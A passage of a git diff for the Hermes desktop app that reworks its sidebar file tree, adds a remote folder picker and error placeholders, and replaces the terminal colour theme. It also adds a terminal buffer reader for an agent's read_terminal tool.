+ const result = await readProjectDir('/repo/src', '/repo')
+
+ expect(result.entries.map(entry => entry.name)).toEqual(['debug.log'])
+ expect(readFileDataUrl).not.toHaveBeenCalled()
+ })
+})
diff --git a/apps/desktop/src/app/right-sidebar/files/ipc.ts b/apps/desktop/src/app/right-sidebar/files/ipc.ts
index 843ebe761cd1..7ffed007d0a7 100644
--- a/apps/desktop/src/app/right-sidebar/files/ipc.ts
+++ b/apps/desktop/src/app/right-sidebar/files/ipc.ts
@@ -1,5 +1,6 @@
import ignore from 'ignore'
+import { desktopFsCacheKey, desktopGitRoot, readDesktopDir, readDesktopFileDataUrl } from '@/lib/desktop-fs'
import type { HermesReadDirEntry, HermesReadDirResult } from '@/global'
export type ProjectTreeEntry = HermesReadDirEntry
@@ -27,7 +28,7 @@ function decodeDataUrl(dataUrl: string) {
}
function clean(path: string) {
- return path.replace(/\/+$/, '') || '/'
+ return path.replace(/\\/g, '/').replace(/\/+$/, '') || '/'
}
/** Strict POSIX-style relative path; null if `child` is not inside `root`. */
@@ -63,15 +64,11 @@ function ancestorDirs(root: string, dir: string) {
}
async function gitRootFor(start: string) {
- if (!window.hermesDesktop?.gitRoot) {
- return null
- }
-
- const key = clean(start)
+ const key = `${desktopFsCacheKey()}:${clean(start)}`
let cached = gitRootCache.get(key)
if (!cached) {
- cached = window.hermesDesktop.gitRoot(key)
+ cached = desktopGitRoot(start)
gitRootCache.set(key, cached)
}
@@ -80,18 +77,14 @@ async function gitRootFor(start: string) {
/** Read .gitignore at `dir` if it actually exists — never probe missing files. */
async function readGitignore(dir: string): Promise {
- if (!window.hermesDesktop?.readDir || !window.hermesDesktop.readFileDataUrl) {
- return null
- }
-
try {
- const listing = await window.hermesDesktop.readDir(dir)
+ const listing = await readDesktopDir(dir)
if (!listing.entries.some(e => e.name === '.gitignore' && !e.isDirectory)) {
return null
}
- const text = decodeDataUrl(await window.hermesDesktop.readFileDataUrl(`${dir}/.gitignore`))
+ const text = decodeDataUrl(await readDesktopFileDataUrl(`${dir}/.gitignore`))
return { base: dir, ig: ignore().add(text) }
} catch {
@@ -100,11 +93,11 @@ async function readGitignore(dir: string): Promise {
}
async function gitignoreFor(dir: string) {
- const key = clean(dir)
+ const key = `${desktopFsCacheKey()}:${clean(dir)}`
let cached = gitignoreCache.get(key)
if (!cached) {
- cached = readGitignore(key)
+ cached = readGitignore(clean(dir))
gitignoreCache.set(key, cached)
}
@@ -142,9 +135,10 @@ export async function readProjectDir(dirPath: string, rootPath = dirPath): Promi
return { entries: [], error: 'no-bridge' }
}
- const result = await window.hermesDesktop.readDir(dirPath)
+ const result = await readDesktopDir(dirPath)
+ const entries = result?.entries ?? []
- return { ...result, entries: await filterIgnored(result.entries, rootPath, dirPath) }
+ return { ...result, entries: await filterIgnored(entries, rootPath, dirPath) }
}
export function clearProjectDirCache(rootPath?: string) {
@@ -155,7 +149,7 @@ export function clearProjectDirCache(rootPath?: string) {
return
}
- const key = clean(rootPath)
+ const key = `${desktopFsCacheKey()}:${clean(rootPath)}`
gitRootCache.delete(key)
gitignoreCache.delete(key)
}
diff --git a/apps/desktop/src/app/right-sidebar/files/remote-picker.tsx b/apps/desktop/src/app/right-sidebar/files/remote-picker.tsx
new file mode 100644
index 000000000000..de0d41a3f536
--- /dev/null
+++ b/apps/desktop/src/app/right-sidebar/files/remote-picker.tsx
@@ -0,0 +1,177 @@
+import { useEffect, useMemo, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Dialog, DialogContent, DialogDescription, DialogTitle } from '@/components/ui/dialog'
+import { useI18n } from '@/i18n'
+import { readDesktopDir, setDesktopFsRemotePicker } from '@/lib/desktop-fs'
+import { cn } from '@/lib/utils'
+
+function clean(path: string) {
+ return path.replace(/\/+$/, '') || '/'
+}
+
+function parentDir(path: string) {
+ const value = clean(path)
+ if (value === '/') {
+ return '/'
+ }
+ const parent = value.slice(0, value.lastIndexOf('/'))
+ return parent || '/'
+}
+
+function pathName(path: string) {
+ return path.split('/').filter(Boolean).pop() || path
+}
+
+interface PendingSelection {
+ defaultPath: string
+ resolve: (paths: string[]) => void
+ title: string
+}
+
+export function RemoteFolderPicker() {
+ const { t } = useI18n()
+ const r = t.rightSidebar
+ const [pending, setPending] = useState(null)
+ const [currentPath, setCurrentPath] = useState('/')
+ const [entries, setEntries] = useState>([])
+ const [error, setError] = useState(null)
+ const [loading, setLoading] = useState(false)
+
+ useEffect(() => {
+ setDesktopFsRemotePicker({
+ selectPaths: options =>
+ new Promise(resolve => {
+ const defaultPath = clean(options?.defaultPath || '/')
+ setCurrentPath(defaultPath)
+ setPending({ defaultPath, resolve, title: options?.title || r.remotePickerTitle })
+ })
+ })
+ return () => setDesktopFsRemotePicker(null)
+ }, [r.remotePickerTitle])
+
+ useEffect(() => {
+ if (!pending) {
+ return
+ }
+
+ let active = true
+ setLoading(true)
+ setError(null)
+
+ void readDesktopDir(currentPath)
+ .then(result => {
+ if (!active) {
+ return
+ }
+ if (result.error) {
+ setError(result.error)
+ setEntries([])
+ return
+ }
+ setEntries(result.entries.filter(entry => entry.isDirectory).map(entry => ({ name: entry.name, path: entry.path })))
+ })
+ .catch(err => {
+ if (active) {
+ setError(err instanceof Error ? err.message : String(err))
+ setEntries([])
+ }
+ })
+ .finally(() => {
+ if (active) {
+ setLoading(false)
+ }
+ })
+
+ return () => {
+ active = false
+ }
+ }, [currentPath, pending])
+
+ const crumbs = useMemo(() => {
+ const parts = clean(currentPath).split('/').filter(Boolean)
+ const out = [{ label: '/', path: '/' }]
+ let acc = ''
+ for (const part of parts) {
+ acc += `/${part}`
+ out.push({ label: part, path: acc })
+ }
+ return out
+ }, [currentPath])
+
+ const close = (paths: string[] = []) => {
+ pending?.resolve(paths)
+ setPending(null)
+ setEntries([])
+ setError(null)
+ }
+
+ return (
+ !open && close()} open={Boolean(pending)}>
+
+
+ {pending?.title || r.remotePickerTitle}
+ {r.remotePickerDescription}
+
+
+
+
+ {crumbs.map((crumb, index) => (
+ setCurrentPath(crumb.path)}
+ type="button"
+ >
+ {crumb.label}
+
+ ))}
+
+
+
+
setCurrentPath(parentDir(currentPath))} />
+ {loading ? (
+
+
+ {r.loadingFiles}
+
+ ) : error ? (
+ {r.unreadableBody(error)}
+ ) : entries.length === 0 ? (
+ {r.emptyBody}
+ ) : (
+ entries.map(entry => setCurrentPath(entry.path)} />)
+ )}
+
+
+
+
+
{currentPath}
+
+ close()} size="sm" variant="ghost">
+ {t.common.cancel}
+
+ close([currentPath])} size="sm">
+ {r.remotePickerSelect}
+
+
+
+
+
+ )
+}
+
+function FolderRow({ disabled = false, name, onClick }: { disabled?: boolean; name: string; onClick: () => void }) {
+ return (
+
+
+ {name}
+
+ )
+}
diff --git a/apps/desktop/src/app/right-sidebar/files/tree.tsx b/apps/desktop/src/app/right-sidebar/files/tree.tsx
index 6421581ca8c8..80ad1697cd52 100644
--- a/apps/desktop/src/app/right-sidebar/files/tree.tsx
+++ b/apps/desktop/src/app/right-sidebar/files/tree.tsx
@@ -7,6 +7,7 @@ import { useResizeObserver } from '@/hooks/use-resize-observer'
import { useI18n } from '@/i18n'
import { cn } from '@/lib/utils'
+import { getFileTreeDndManager } from './dnd-manager'
import type { TreeNode } from './use-project-tree'
const ROW_HEIGHT = 22
@@ -94,6 +95,7 @@ export function ProjectTree({
disableDrag
disableDrop
disableEdit
+ dndManager={getFileTreeDndManager()}
height={size.height}
indent={INDENT}
initialOpenState={openState}
@@ -145,7 +147,8 @@ function ProjectTreeRow({
}
const isFolder = node.data.isDirectory
- const isPlaceholder = node.data.id.endsWith('::__loading__')
+ const isPlaceholder = Boolean(node.data.placeholder)
+ const isErrorPlaceholder = node.data.placeholder === 'error'
return (
}
- {isPlaceholder ? (
+ {isPlaceholder && !isErrorPlaceholder ? (
+ ) : isErrorPlaceholder ? (
+
) : isFolder ? (
) : (
diff --git a/apps/desktop/src/app/right-sidebar/files/use-project-tree.test.ts b/apps/desktop/src/app/right-sidebar/files/use-project-tree.test.ts
index a0ecd409f4a2..03027883781d 100644
--- a/apps/desktop/src/app/right-sidebar/files/use-project-tree.test.ts
+++ b/apps/desktop/src/app/right-sidebar/files/use-project-tree.test.ts
@@ -1,19 +1,24 @@
-import { act, renderHook, waitFor } from '@testing-library/react'
+import { act, cleanup, renderHook, waitFor } from '@testing-library/react'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { $connection } from '@/store/session'
import type { HermesReadDirResult } from '@/global'
+import { clearProjectDirCache, readProjectDir } from './ipc'
import { resetProjectTreeState, useProjectTree } from './use-project-tree'
const readDir = vi.fn<(path: string) => Promise>()
beforeEach(() => {
+ $connection.set(null)
resetProjectTreeState()
readDir.mockReset()
;(window as unknown as { hermesDesktop: { readDir: typeof readDir } }).hermesDesktop = { readDir }
})
afterEach(() => {
+ cleanup()
+ $connection.set(null)
resetProjectTreeState()
delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
})
@@ -106,7 +111,37 @@ describe('useProjectTree', () => {
expect(readDir).toHaveBeenCalledTimes(1)
})
- it('captures per-folder error code and leaves the folder expandable but empty', async () => {
+ it('reads gitignore from the real path while caching per connection', async () => {
+ const readFileDataUrl = vi.fn(async () => `data:text/plain;base64,${btoa('ignored.log\n')}`)
+ const gitRoot = vi.fn(async () => '/repo')
+ readDir.mockImplementation(async path => {
+ if (path === '/repo') return ok([{ name: '.gitignore', path: '/repo/.gitignore', isDirectory: false }])
+ if (path === '/repo/src') {
+ return ok([
+ { name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false },
+ { name: 'ignored.log', path: '/repo/src/ignored.log', isDirectory: false }
+ ])
+ }
+ throw new Error(`unexpected path ${path}`)
+ })
+ ;(window as unknown as { hermesDesktop: unknown }).hermesDesktop = { gitRoot, readDir, readFileDataUrl }
+
+ $connection.set({ baseUrl: 'local-a', mode: 'local' } as never)
+ await expect(readProjectDir('/repo/src', '/repo')).resolves.toMatchObject({
+ entries: [{ name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false }]
+ })
+ expect(readDir).toHaveBeenCalledWith('/repo')
+ expect(readDir).not.toHaveBeenCalledWith(expect.stringContaining('local-a'))
+
+ $connection.set({ baseUrl: 'local-b', mode: 'local' } as never)
+ clearProjectDirCache()
+ await expect(readProjectDir('/repo/src', '/repo')).resolves.toMatchObject({
+ entries: [{ name: 'app.ts', path: '/repo/src/app.ts', isDirectory: false }]
+ })
+ expect(readDir.mock.calls.filter(([path]) => path === '/repo')).toHaveLength(2)
+ })
+
+ it('captures per-folder error code and shows an error placeholder child', async () => {
readDir.mockResolvedValueOnce(ok([{ name: 'priv', path: '/p/priv', isDirectory: true }]))
readDir.mockResolvedValueOnce({ entries: [], error: 'EACCES' })
@@ -119,7 +154,14 @@ describe('useProjectTree', () => {
})
expect(result.current.data[0].error).toBe('EACCES')
- expect(result.current.data[0].children).toEqual([])
+ expect(result.current.data[0].children).toEqual([
+ {
+ id: '/p/priv::__error__',
+ isDirectory: false,
+ name: 'Unable to read (EACCES)',
+ placeholder: 'error'
+ }
+ ])
})
it('dedupes concurrent loadChildren calls for the same id', async () => {
diff --git a/apps/desktop/src/app/right-sidebar/files/use-project-tree.ts b/apps/desktop/src/app/right-sidebar/files/use-project-tree.ts
index 23fb5efe2dc9..ab637b07c9ee 100644
--- a/apps/desktop/src/app/right-sidebar/files/use-project-tree.ts
+++ b/apps/desktop/src/app/right-sidebar/files/use-project-tree.ts
@@ -2,6 +2,8 @@ import { useStore } from '@nanostores/react'
import { atom } from 'nanostores'
import { useCallback, useEffect, useMemo } from 'react'
+import { $connection } from '@/store/session'
+
import { clearProjectDirCache, readProjectDir } from './ipc'
export interface TreeNode {
@@ -14,11 +16,14 @@ export interface TreeNode {
children?: TreeNode[]
/** True while a readDir for this folder is in flight. */
loading?: boolean
+ /** Synthetic loading/error rows are not real filesystem entries. */
+ placeholder?: 'error' | 'loading'
/** Last error code from readDir (e.g. EACCES). Cleared on next successful load. */
error?: string
}
const PLACEHOLDER_ID = '__loading__'
+const ERROR_PLACEHOLDER_ID = '__error__'
function makeNode(path: string, name: string, isDirectory: boolean): TreeNode {
return { id: path, isDirectory, name }
@@ -43,7 +48,16 @@ function patchNode(nodes: TreeNode[] | undefined | null, id: string, patch: (n:
}
function placeholderChild(parentId: string): TreeNode {
- return { id: `${parentId}::${PLACEHOLDER_ID}`, isDirectory: false, name: 'Loading…' }
+ return { id: `${parentId}::${PLACEHOLDER_ID}`, isDirectory: false, name: 'Loading…', placeholder: 'loading' }
+}
+
+function errorChild(parentId: string, error: string | undefined): TreeNode {
+ return {
+ id: `${parentId}::${ERROR_PLACEHOLDER_ID}`,
+ isDirectory: false,
+ name: `Unable to read (${error || 'read-error'})`,
+ placeholder: 'error'
+ }
}
export interface UseProjectTreeResult {
@@ -84,6 +98,7 @@ const initialState: ProjectTreeState = {
const inflight = new Set()
const $projectTree = atom(initialState)
let nextRootRequestId = 0
+let lastConnectionKey = ''
function setProjectTree(updater: (current: ProjectTreeState) => ProjectTreeState) {
$projectTree.set(updater($projectTree.get()))
@@ -145,6 +160,7 @@ async function loadRoot(cwd: string, { force = false }: { force?: boolean } = {}
}
export function resetProjectTreeState() {
+ lastConnectionKey = ''
clearProjectTree()
clearProjectDirCache()
}
@@ -158,6 +174,8 @@ export function resetProjectTreeState() {
*/
export function useProjectTree(cwd: string): UseProjectTreeResult {
const state = useStore($projectTree)
+ const connection = useStore($connection)
+ const connectionKey = `${connection?.mode || 'local'}:${connection?.profile || ''}:${connection?.baseUrl || ''}`
const refreshRoot = useCallback(() => loadRoot(cwd, { force: true }), [cwd])
@@ -227,7 +245,7 @@ export function useProjectTree(cwd: string): UseProjectTreeResult {
...n,
loading: false,
error: error || undefined,
- children: error ? [] : entries.map(e => makeNode(e.path, e.name, e.isDirectory))
+ children: error ? [errorChild(n.id, error)] : entries.map(e => makeNode(e.path, e.name, e.isDirectory))
}))
}
})
@@ -236,8 +254,15 @@ export function useProjectTree(cwd: string): UseProjectTreeResult {
)
useEffect(() => {
+ const connectionChanged = lastConnectionKey !== '' && lastConnectionKey !== connectionKey
+ lastConnectionKey = connectionKey
+ if (connectionChanged) {
+ clearProjectDirCache()
+ void loadRoot(cwd, { force: true })
+ return
+ }
void loadRoot(cwd)
- }, [cwd])
+ }, [connectionKey, cwd])
return useMemo(
() => ({
diff --git a/apps/desktop/src/app/right-sidebar/index.tsx b/apps/desktop/src/app/right-sidebar/index.tsx
index d5707873c3cd..30c45d40a257 100644
--- a/apps/desktop/src/app/right-sidebar/index.tsx
+++ b/apps/desktop/src/app/right-sidebar/index.tsx
@@ -4,22 +4,22 @@ import type { ReactNode } from 'react'
import { ErrorBoundary } from '@/components/error-boundary'
import { Button } from '@/components/ui/button'
import { Codicon } from '@/components/ui/codicon'
-import { useI18n } from '@/i18n'
import { Loader } from '@/components/ui/loader'
import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { selectDesktopPaths } from '@/lib/desktop-fs'
import { normalizeOrLocalPreviewTarget } from '@/lib/local-preview'
import { cn } from '@/lib/utils'
import { $panesFlipped } from '@/store/layout'
import { notifyError } from '@/store/notifications'
import { setCurrentSessionPreviewTarget } from '@/store/preview'
-import { $currentBranch, $currentCwd } from '@/store/session'
+import { $currentCwd } from '@/store/session'
import { SidebarPanelLabel } from '../shell/sidebar-label'
+import { RemoteFolderPicker } from './files/remote-picker'
import { ProjectTree } from './files/tree'
import { useProjectTree } from './files/use-project-tree'
-import { $rightSidebarTab, $terminalTakeover, type RightSidebarTabId, setRightSidebarTab } from './store'
-import { TerminalSlot } from './terminal/persistent'
interface RightSidebarPaneProps {
onActivateFile: (path: string) => void
@@ -27,24 +27,10 @@ interface RightSidebarPaneProps {
onChangeCwd: (path: string) => Promise | void
}
-interface RightSidebarTab {
- icon: string
- id: RightSidebarTabId
- labelKey: 'files' | 'terminal'
-}
-
-const RIGHT_SIDEBAR_TABS: readonly RightSidebarTab[] = [
- { id: 'files', labelKey: 'files', icon: 'list-tree' },
- { id: 'terminal', labelKey: 'terminal', icon: 'terminal' }
-]
-
export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd }: RightSidebarPaneProps) {
const { t } = useI18n()
const r = t.rightSidebar
- const activeTab = useStore($rightSidebarTab)
- const terminalTakeover = useStore($terminalTakeover)
const panesFlipped = useStore($panesFlipped)
- const currentBranch = useStore($currentBranch).trim()
const currentCwd = useStore($currentCwd).trim()
const hasCwd = currentCwd.length > 0
@@ -68,10 +54,9 @@ export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd
} = useProjectTree(currentCwd)
const canCollapse = Object.values(openState).some(Boolean)
- const effectiveTab: RightSidebarTabId = terminalTakeover ? 'files' : activeTab
const chooseFolder = async () => {
- const selected = await window.hermesDesktop?.selectPaths({
+ const selected = await selectDesktopPaths({
defaultPath: hasCwd ? currentCwd : undefined,
directories: true,
multiple: false,
@@ -97,8 +82,6 @@ export function RightSidebarPane({ onActivateFile, onActivateFolder, onChangeCwd
}
}
- const tabs = terminalTakeover ? RIGHT_SIDEBAR_TABS.filter(tab => tab.id !== 'terminal') : RIGHT_SIDEBAR_TABS
-
return (
-
+
- {effectiveTab === 'terminal' ? (
-
- ) : (
- void refreshRoot()}
- openState={openState}
- />
- )}
+ void refreshRoot()}
+ openState={openState}
+ />
)
}
-function RightSidebarChrome({
- activeTab,
- branch,
- tabs
-}: {
- activeTab: RightSidebarTabId
- branch: string
- tabs: readonly RightSidebarTab[]
-}) {
- const { t } = useI18n()
- const r = t.rightSidebar
-
- return (
-
- )
-}
-
interface FilesystemTabProps extends FileTreeBodyProps {
canCollapse: boolean
cwdName: string
diff --git a/apps/desktop/src/app/right-sidebar/store.ts b/apps/desktop/src/app/right-sidebar/store.ts
index a560bfddafeb..8c07f0824506 100644
--- a/apps/desktop/src/app/right-sidebar/store.ts
+++ b/apps/desktop/src/app/right-sidebar/store.ts
@@ -2,14 +2,10 @@ import { atom } from 'nanostores'
import { persistBoolean, storedBoolean } from '@/lib/storage'
-export type RightSidebarTabId = 'files' | 'git' | 'terminal' | 'web'
-
const TAKEOVER_KEY = 'hermes.desktop.terminalTakeover'
-export const $rightSidebarTab = atom('files')
export const $terminalTakeover = atom(storedBoolean(TAKEOVER_KEY, false))
$terminalTakeover.subscribe(active => persistBoolean(TAKEOVER_KEY, active))
-export const setRightSidebarTab = (tab: RightSidebarTabId) => $rightSidebarTab.set(tab)
export const setTerminalTakeover = (active: boolean) => $terminalTakeover.set(active)
diff --git a/apps/desktop/src/app/right-sidebar/terminal/buffer.ts b/apps/desktop/src/app/right-sidebar/terminal/buffer.ts
new file mode 100644
index 000000000000..df90d90875e5
--- /dev/null
+++ b/apps/desktop/src/app/right-sidebar/terminal/buffer.ts
@@ -0,0 +1,65 @@
+import type { Terminal } from '@xterm/xterm'
+
+// Serialized view of the in-app terminal, handed to the agent's `read_terminal`
+// tool. Line indices are absolute into xterm's buffer (0 = oldest scrollback
+// line), so the agent can page with start_line/count against `total_lines`.
+export interface TerminalReadResult {
+ total_lines: number
+ start: number
+ end: number
+ viewport_rows: number
+ cursor_row: number
+ text: string
+}
+
+export interface TerminalReadOptions {
+ start?: number
+ count?: number
+}
+
+type Reader = (opts: TerminalReadOptions) => TerminalReadResult
+
+// The persistent terminal is a singleton (one xterm mounted forever), so a
+// module-level slot is enough — set while the session is live, cleared on
+// dispose. The gateway `terminal.read.request` handler reads through this.
+let activeReader: Reader | null = null
+
+export function setActiveTerminalReader(reader: Reader | null): void {
+ activeReader = reader
+}
+
+export function readActiveTerminal(opts: TerminalReadOptions = {}): TerminalReadResult | null {
+ return activeReader ? activeReader(opts) : null
+}
+
+export function makeTerminalReader(term: Terminal): Reader {
+ return ({ start, count }) => {
+ const buf = term.buffer.active
+ const total = buf.length
+ const rows = term.rows
+ // Default window = the visible screen; baseY is the viewport's top row.
+ const from = Math.max(0, Math.min(start ?? buf.baseY, total))
+ const to = Math.max(from, Math.min(from + Math.max(1, count ?? rows), total))
+
+ const lines: string[] = []
+
+ // translateToString(true) right-trims and resolves wide chars, dropping SGR
+ // colors — exactly what the agent wants.
+ for (let i = from; i < to; i += 1) {
+ lines.push(buf.getLine(i)?.translateToString(true) ?? '')
+ }
+
+ while (lines.length && !lines[lines.length - 1].trim()) {
+ lines.pop()
+ }
+
+ return {
+ total_lines: total,
+ start: from,
+ end: to,
+ viewport_rows: rows,
+ cursor_row: buf.baseY + buf.cursorY,
+ text: lines.join('\n')
+ }
+ }
+}
diff --git a/apps/desktop/src/app/right-sidebar/terminal/index.tsx b/apps/desktop/src/app/right-sidebar/terminal/index.tsx
index f11a705300ae..c3842366254d 100644
--- a/apps/desktop/src/app/right-sidebar/terminal/index.tsx
+++ b/apps/desktop/src/app/right-sidebar/terminal/index.tsx
@@ -1,7 +1,5 @@
import '@xterm/xterm/css/xterm.css'
-import { useStore } from '@nanostores/react'
-
import { Button } from '@/components/ui/button'
import { Codicon } from '@/components/ui/codicon'
import { Loader } from '@/components/ui/loader'
@@ -9,7 +7,7 @@ import { Tip } from '@/components/ui/tooltip'
import { useI18n } from '@/i18n'
import { SidebarPanelLabel } from '../../shell/sidebar-label'
-import { $terminalTakeover, setRightSidebarTab, setTerminalTakeover } from '../store'
+import { setTerminalTakeover } from '../store'
import { addSelectionShortcutLabel } from './selection'
import { useTerminalSession } from './use-terminal-session'
@@ -21,41 +19,32 @@ interface TerminalTabProps {
export function TerminalTab({ cwd, onAddSelectionToChat }: TerminalTabProps) {
const { t } = useI18n()
+
const { addSelectionToChat, hostRef, selection, selectionStyle, shellName, status } = useTerminalSession({
cwd,
onAddSelectionToChat
})
- const takeover = useStore($terminalTakeover)
- const label = takeover ? t.rightSidebar.terminalSplit : t.rightSidebar.terminalFocus
-
- const toggleTakeover = () => {
- // Pre-select the Terminal tab so the slot is ready to host us on return.
- if (takeover) {
- setRightSidebarTab('terminal')
- }
-
- setTerminalTakeover(!takeover)
- }
+ const label = t.rightSidebar.terminalHide
return (
- {shellName}
+ {shellName}
setTerminalTakeover(false)}
size="icon"
type="button"
variant="ghost"
>
-
+
-
+
{status === 'starting' && (
)}
- {/* Outer div paints the dark inset; inner div is the xterm host so the
- canvas sizes to the *content* area and p-2 shows as terminal padding.
- Forcing screen/viewport bg avoids xterm's default black peeking
- through the unused pixels below the last full row. */}
+ {/* Outer div paints terminal inset; inner div is the xterm host so the
+ canvas sizes to the content area and p-2 stays as terminal padding.
+ Screen/viewport inherit the live skin surface so the terminal blends
+ with the app and follows light/dark; the xterm canvas itself is
+ painted the resolved surface color in use-terminal-session. */}
diff --git a/apps/desktop/src/app/right-sidebar/terminal/persistent.tsx b/apps/desktop/src/app/right-sidebar/terminal/persistent.tsx
index 5b9b151f5baf..0a8df746b3f2 100644
--- a/apps/desktop/src/app/right-sidebar/terminal/persistent.tsx
+++ b/apps/desktop/src/app/right-sidebar/terminal/persistent.tsx
@@ -2,8 +2,6 @@ import { useStore } from '@nanostores/react'
import { atom } from 'nanostores'
import { type CSSProperties, useEffect, useLayoutEffect, useRef, useState } from 'react'
-import { TERMINAL_BG } from './selection'
-
import { TerminalTab } from './index'
/**
@@ -107,7 +105,9 @@ export function PersistentTerminal({ cwd, onAddSelectionToChat }: PersistentTerm
visibility: visible ? 'visible' : 'hidden',
pointerEvents: visible ? 'auto' : 'none',
zIndex: 4,
- backgroundColor: TERMINAL_BG,
+ // Match the live skin surface so the header strip (transparent) and body
+ // read as one cohesive pane instead of revealing a near-black slab behind.
+ backgroundColor: 'var(--ui-editor-surface-background)',
contain: 'layout size paint'
}
diff --git a/apps/desktop/src/app/right-sidebar/terminal/selection.ts b/apps/desktop/src/app/right-sidebar/terminal/selection.ts
index 4f0049be8e34..955a9ea1f184 100644
--- a/apps/desktop/src/app/right-sidebar/terminal/selection.ts
+++ b/apps/desktop/src/app/right-sidebar/terminal/selection.ts
@@ -1,38 +1,101 @@
import type { ITheme, Terminal } from '@xterm/xterm'
import type { CSSProperties } from 'react'
-// Solarized-derived palette, but with bright ANSI 8–15 promoted to real
-// accent variants instead of Schoonover's UI grays. Hermes' TUI skins (gold,
-// crimson, ...) emit bright SGR codes that would otherwise wash out to gray.
-// We always render the dark canvas — the app's light surfaces can't host the
-// default skin without dropping below readable contrast.
-export const TERMINAL_BG = '#002b36'
-
-const THEME: ITheme = {
- background: TERMINAL_BG,
- foreground: '#839496',
- cursor: '#93a1a1',
- cursorAccent: TERMINAL_BG,
- selectionBackground: '#586e7555',
- black: '#073642',
- red: '#dc322f',
- green: '#859900',
- yellow: '#b58900',
- blue: '#268bd2',
- magenta: '#d33682',
- cyan: '#2aa198',
- white: '#eee8d5',
- brightBlack: '#586e75',
- brightRed: '#f25c54',
- brightGreen: '#b3d437',
- brightYellow: '#f7c948',
- brightBlue: '#5fb3ff',
- brightMagenta: '#ff6ab4',
- brightCyan: '#5cd9c8',
- brightWhite: '#fdf6e3'
+import type { DesktopTerminalPalette } from '@/themes/types'
+
+// VS Code's default integrated-terminal palette (terminalColorRegistry.ts) — a
+// fixed table per theme type, not luminance-derived. Light/dark diverge on
+// purpose so each stays legible (e.g. mustard yellow on white).
+const DARK_THEME: ITheme = {
+ background: '#1e1e1e',
+ foreground: '#cccccc',
+ cursor: '#cccccc',
+ cursorAccent: '#1e1e1e',
+ selectionBackground: '#264f7866',
+ black: '#000000',
+ red: '#cd3131',
+ green: '#0dbc79',
+ yellow: '#e5e510',
+ blue: '#2472c8',
+ magenta: '#bc3fbc',
+ cyan: '#11a8cd',
+ white: '#e5e5e5',
+ brightBlack: '#666666',
+ brightRed: '#f14c4c',
+ brightGreen: '#23d18b',
+ brightYellow: '#f5f543',
+ brightBlue: '#3b8eea',
+ brightMagenta: '#d670d6',
+ brightCyan: '#29b8db',
+ brightWhite: '#e5e5e5'
+}
+
+const LIGHT_THEME: ITheme = {
+ background: '#ffffff',
+ foreground: '#333333',
+ cursor: '#333333',
+ cursorAccent: '#ffffff',
+ selectionBackground: '#add6ff80',
+ black: '#000000',
+ red: '#cd3131',
+ green: '#00bc00',
+ yellow: '#949800',
+ blue: '#0451a5',
+ magenta: '#bc05bc',
+ cyan: '#0598bc',
+ white: '#555555',
+ brightBlack: '#666666',
+ brightRed: '#cd3131',
+ brightGreen: '#14ce14',
+ brightYellow: '#b5ba00',
+ brightBlue: '#0451a5',
+ brightMagenta: '#bc05bc',
+ brightCyan: '#0598bc',
+ brightWhite: '#a5a5a5'
}
-export const terminalTheme = (): ITheme => THEME
+// Palette by painted mode, optionally overlaid with an imported theme's ANSI
+// palette (Solarized terminal for the Solarized skin, etc.). `palette` only
+// fills the slots it defines, so a partial import keeps the mode defaults for
+// the rest. `background` is a fallback only — withSurface swaps in the live skin
+// surface at runtime (keeping transparency); minimumContrastRatio keeps colors
+// crisp against it.
+export function terminalTheme(mode: 'light' | 'dark', palette?: DesktopTerminalPalette): ITheme {
+ const base = mode === 'dark' ? DARK_THEME : LIGHT_THEME
+
+ if (!palette) {
+ return base
+ }
+
+ const overlay = { ...base } as Record
+
+ for (const [slot, value] of Object.entries(palette)) {
+ if (value) {
+ overlay[slot] = value
+ }
+ }
+
+ return overlay as ITheme
+}
+
+// Resolve --ui-editor-surface-background (a color-mix on the skin seed) to a
+// concrete rgb for the WebGL renderer + contrast clamp. Custom props don't
+// resolve via getComputedStyle, so probe a real background-color. Read AFTER
+// applyTheme repaints (mount / rAF post-change) or it lags a frame behind.
+export function resolveSurfaceColor(fallback: string): string {
+ if (typeof document === 'undefined' || !document.body) {
+ return fallback
+ }
+
+ const probe = document.createElement('span')
+ probe.style.cssText =
+ 'position:absolute;visibility:hidden;pointer-events:none;background-color:var(--ui-editor-surface-background)'
+ document.body.appendChild(probe)
+ const resolved = getComputedStyle(probe).backgroundColor
+ probe.remove()
+
+ return resolved && resolved !== 'rgba(0, 0, 0, 0)' ? resolved : fallback
+}
export const isMacPlatform = () => navigator.platform.toLowerCase().includes('mac')
diff --git a/apps/desktop/src/app/right-sidebar/terminal/use-terminal-session.ts b/apps/desktop/src/app/right-sidebar/terminal/use-terminal-session.ts
index 7442c64ee867..7c0f13da5c00 100644
--- a/apps/desktop/src/app/right-sidebar/terminal/use-terminal-session.ts
+++ b/apps/desktop/src/app/right-sidebar/terminal/use-terminal-session.ts
@@ -3,12 +3,20 @@ import { Unicode11Addon } from '@xterm/addon-unicode11'
import { WebLinksAddon } from '@xterm/addon-web-links'
import { WebglAddon } from '@xterm/addon-webgl'
import { Terminal } from '@xterm/xterm'
-import { useCallback, useEffect, useRef, useState } from 'react'
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
import type { CSSProperties } from 'react'
import { triggerHaptic } from '@/lib/haptics'
+import { useTheme } from '@/themes/context'
-import { isAddSelectionShortcut, terminalSelectionAnchor, terminalSelectionLabel, terminalTheme } from './selection'
+import { makeTerminalReader, setActiveTerminalReader } from './buffer'
+import {
+ isAddSelectionShortcut,
+ resolveSurfaceColor,
+ terminalSelectionAnchor,
+ terminalSelectionLabel,
+ terminalTheme
+} from './selection'
type TerminalStatus = 'closed' | 'open' | 'starting'
@@ -64,10 +72,29 @@ function stripEscapeSequences(data: string) {
return text
}
-function isStartupSpacer(data: string) {
- const text = stripEscapeSequences(data).replace(/[\s\r\n]/g, '')
+// Keep only the ANSI escape sequences from a chunk, dropping printable text. Lets
+// us apply control codes (e.g. a clear-screen) while discarding boot spacers and
+// zsh's reverse-video "%" partial-line marker.
+function keepEscapeSequences(data: string) {
+ let index = 0
+ let out = ''
+
+ while (index < data.length) {
+ if (data.charCodeAt(index) === 0x1b) {
+ const sequence = readEscapeSequence(data, index)
